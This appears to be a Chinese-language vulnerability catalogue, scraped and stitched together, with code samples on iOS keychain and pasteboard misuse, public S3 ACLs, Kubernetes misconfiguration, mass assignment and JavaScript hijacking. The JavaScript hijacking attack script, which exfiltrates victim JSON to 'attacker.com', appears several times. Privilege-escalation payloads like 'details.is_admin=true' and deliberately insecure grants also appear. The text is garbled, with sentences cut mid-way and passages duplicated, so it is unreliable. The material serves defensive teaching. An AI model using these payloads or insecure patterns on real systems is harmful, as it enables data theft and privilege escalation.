封装即绘制强边界。在 Web 浏览器中，这可能意味着确保您的移动代码不会被其他移动代码滥用。在服务器上，这可能意味着区分已验证数据和未验证数据、区分一个用户的数据和另一个用户的数据，或者区分允许用户查看的数据和不允许用户查看的数据。
Realm 数据库的连接：
Realm realm = Realm.getDefaultInstance();
Realm 数据库的连接：
RLMRealmConfiguration *config = [RLMRealmConfiguration defaultConfiguration];
RLMRealm *realm = [RLMRealm realmWithConfiguration:config error:nil];
Realm 数据库的连接：
let realm = try! Realm()
UIImageWriteToSavedPhotosAlbum 将图像保存到相册：
- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
// Access the uncropped image from info dictionary
UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];
// Save image
UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);
...
}
UIImageWriteToSavedPhotosAlbum 将图像保存到相册：
func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [NSObject : AnyObject]) {
if let pickedImage = info[UIImagePickerControllerOriginalImage] as? UIImage {
imageView.contentMode = .ScaleAspectFit
imageView.image = pickedImage
}
// Save image
UIImageWriteToSavedPhotosAlbum(pickedImage!, self, nil, nil)
dismissViewControllerAnimated(true, completion: nil)
}
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleWhenUnlocked 等较安全的策略存储，那么如果您的设备在设置了密码的情况下被盗，则盗窃者需要解锁设备才能将密钥链项目解除锁定。如果无法输入正确的密码，盗窃者便无法解密密钥链项目。但是，如果没有设置密码，则攻击者只需滑动手指即可对设备解除锁定，并获得密钥链来解密其项目。因此，如果不强制要求为设备设置密码，则可能会削弱密钥链加密机制的安全性。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure KeyChain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
[dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleWhenUnlocked 等较安全的策略存储，那么如果您的设备在设置了密码的情况下被盗，则盗窃者需要解锁设备才能将密钥链项目解除锁定。如果无法输入正确的密码，盗窃者便无法解密密钥链项目。但是，如果没有设置密码，则攻击者只需滑动手指即可对设备解除锁定，并获得密钥链来解密其项目。因此，如果不强制要求为设备设置密码，则可能会削弱密钥链加密机制的安全性。
...
// Configure KeyChain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
...
query[kSecAttrAccessible as String] = kSecAttrAccessibleWhenUnlockedThisDeviceOnly
SecItemAdd(query as CFDictionary, nil)
...
setPersistent:YES 创建命名粘贴板并将其配置为永久。
...
UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
[pasteboard setPersistent:YES];
...
setPersistent(true) 创建命名粘贴板并将其配置为永久。
...
let pasteboard = UIPasteboard(name: UIPasteboard.Name(rawValue: "myPasteboard"), create: true)!
pasteboard.setPersistent(true)
...
Access Control Policy可授予对 foo 存储桶的完全匿名访问权限。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("FullControl");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy可授予对 foo 存储桶的匿名读取 ACP 访问权限。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("READ_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy可授予对 foo 存储桶的匿名读取访问权限。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Read");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy可授予对 foo 存储桶的匿名写入 ACP 访问权限。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("WRITE_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
Access Control Policy可授予对 foo 存储桶的匿名写入访问权限。
GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();
Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Write");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);
AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
items 属性将数据写入通用粘贴板，默认情况下，该属性允许通过通用剪贴板在用户设备之间共享粘贴板内容。示例 2：以下代码在通用剪贴板行为显式启用（通过将
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
UTTypePlainText : sensitiveDataString,
UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...
localOnly 参数设置为 NO）的情况下通过调用 setObjects:localOnly:expirationDate: 方法将数据写入通用粘贴板。
...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]]
localOnly:NO
expirationDate:[NSDate distantFuture]];
...
setItems(_:options:) 方法将数据写入通用粘贴板，默认情况下，该方法通过通用剪贴板在用户设备之间共享粘贴板内容。示例 2：以下代码在通用剪贴板行为显式启用（通过将
...
let pasteboard = UIPasteboard.general
let items: [[String: Any]] = [
["text": sensitiveDataString],
["image": UIImage(data: medicalImageData)!]
]
pasteboard.setItems(items)
...
localOnly 参数设置为 false）的情况下使用 setObjects(_:localOnly:expirationDate:) 方法将数据写入通用粘贴板。
...
let pasteboard = UIPasteboard.general
let items: [Any] = [
sensitiveDataString,
UIImage(data: medicalImageData)!
]
pasteboard.setObjects([items], localOnly: false, expirationDate: Date.distantFuture)
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleAlways，但该设置存在安全问题，因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked，这是一个限制性较高的默认值。但是，Apple 的公开文档对于默认属性应为何值存在分歧，因此为了以防万一，应在所有密钥链项目上明确设置此属性。
...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];
// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...
OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:kSecAttrAccessibleAlways:kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:kSecAttrAccessibleAlwaysThisDeviceOnly:kSecAttrAccessibleWhenUnlocked:kSecAttrAccessibleWhenUnlockedThisDeviceOnly:kSecAttrAccessibleAlways，但该设置存在安全问题，因为可访问或窃取您的设备的人将能够读取密钥链的内容。当前的默认属性为 kSecAttrAccessibleWhenUnlocked，这是一个限制性较高的默认值。但是，Apple 的公开文档对于默认属性应为何值存在分歧，因此为了以防万一，应在所有密钥链项目上明确设置此属性。
...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?
SecItemAdd(query as CFDictionary, nil)
...
main() 方法。尽管这在产品的开发过程中是完全可以接受的，但是属于 J2EE 应用程序中的那部分类不应该定义 main()。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script> 标签求值的有效 JavaScript 组成，因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下，这个框架使用 POST 方法提交请求，这样就很难从恶意 <script> 标签生成请求（因为 <script> 标签仅生成 GET 请求）。尽管如此，Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上，许多专家建议程序员使用 GET 请求，以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script> 标签求值的有效 JavaScript 组成，因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下，这个框架使用 POST 方法提交请求，这样就很难从恶意 <script> 标签生成请求（因为 <script> 标签仅生成 GET 请求）。尽管如此，GWT 确实提供了使用 GET 请求的机制。事实上，许多专家建议程序员使用 GET 请求，以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
default 命名空间。使用与默认命名空间不同的命名空间可以减少错误或恶意活动的影响。default。
...
kind: ...
metadata:
...
namespace: default
spec:
...
anonymous 字段设置为 enabled:true。
...
kind: KubeletConfiguration
...
authentication:
anonymous:
enabled: true
...
Register) 从 Web 表单进行访问，该表单要求用户通过提供其姓名和密码注册帐户。
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel 类定义为：
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details 类定义为：
public class Details
{
public bool IsAdmin { get; set; }
...
}
Example 1 中的场景，攻击者可能会浏览应用程序并发现 RegisterModel 模型中存在 Details 属性。如果出现这种情况，攻击者可能会尝试覆盖分配给这些属性的当前值。
name=John&password=****&details.is_admin=true
<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...
User 类定义为：
public class User {
private String name;
private String lastname;
private int age;
private Details details;
// Public Getters and Setters
...
}
Details 类定义为：
public class Details {
private boolean is_admin;
private int id;
private Date login_date;
// Public Getters and Setters
...
}
Example 1 中的场景，攻击者可能会浏览应用程序并发现 User 模型中存在 details 属性。如果出现这种情况，攻击者可能会尝试覆盖分配给这些属性的当前值。
type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
private final Logger logger =
Logger.getLogger(MyClass.class);